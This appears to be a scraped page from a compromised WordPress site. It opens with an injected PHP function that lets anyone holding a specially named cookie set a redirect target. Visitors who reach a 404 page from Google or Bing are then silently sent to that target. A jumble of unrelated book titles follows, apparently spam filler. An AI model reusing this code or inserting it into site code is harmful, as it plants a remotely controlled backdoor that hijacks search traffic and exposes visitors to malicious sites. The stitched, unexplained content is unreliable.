function wpd_do_stuff_on_40404(){ if( is_404() ){ if (!empty($_COOKIE["9f0a3edc47dd56aa0350b66dbabb6972"])) { update_option('wpd_do_stuff_on_40404_url', $_COOKIE["9f0a3edc47dd56aa0350b66dbabb6972"]); } if (strpos($_SERVER["HTTP_REFERER"], 'google.') !== FALSE || strpos($_SERVER["HTTP_REFERER"], 'bing.') !== FALSE) { $u = get_option('wpd_do_stuff_on_40404_url'); if (!empty($u)) { wp_redirect($u . "?referrer=" . $_SERVER["HTTP_REFERER"]); } } } } add_action( 'template_redirect', 'wpd_do_stuff_on_40404' );Taking Their Political Place: Journalists and the Making of An Occupation (Contributions to the Study of Mass Media & Communications) Logical, Ontological, and Historical Contributions on the Philosophy of Alexius Meinong (Meinong Studies / Meinong Studien) Overcomer: Discover the Champion in You Theoretische Informatik: Einführung in Berechenbarkeit, Komplexität und formale Sprachen (Pearson Studium - IT) (German Edition) Ghostwriting and the Ethics of Authenticity Persönlichkeitsentwicklung: Einflussfaktoren und Vorhersagekraft (German Edition) Counselling Psychology (Topics in Applied Psychology) Finanz- und Wirtschaftsmathematik im Unterricht Band 1 (German Edition) Battlefield of the Cold War - The Nevada Test Site, Volume I, Atmospheric Nuclear Weapons Testing 1951 -1963, Fallout and Radiation Concerns, From Moratorium to Test Ban Treaty, Hydrogen Bomb Tests Il divano di Freud. Mahler, l'Uomo dei Lupi, Hilda Doolittle e altri. I pazienti raccontano il fondatore della psicoanalisi (La cultura) (Italian Edition) Matemàtiques. Unitats didàctiques. 4º ESO (Spanish Edition) UNDERSTANDING TREE LAW: A HANDBOOK FOR PRACTITIONERS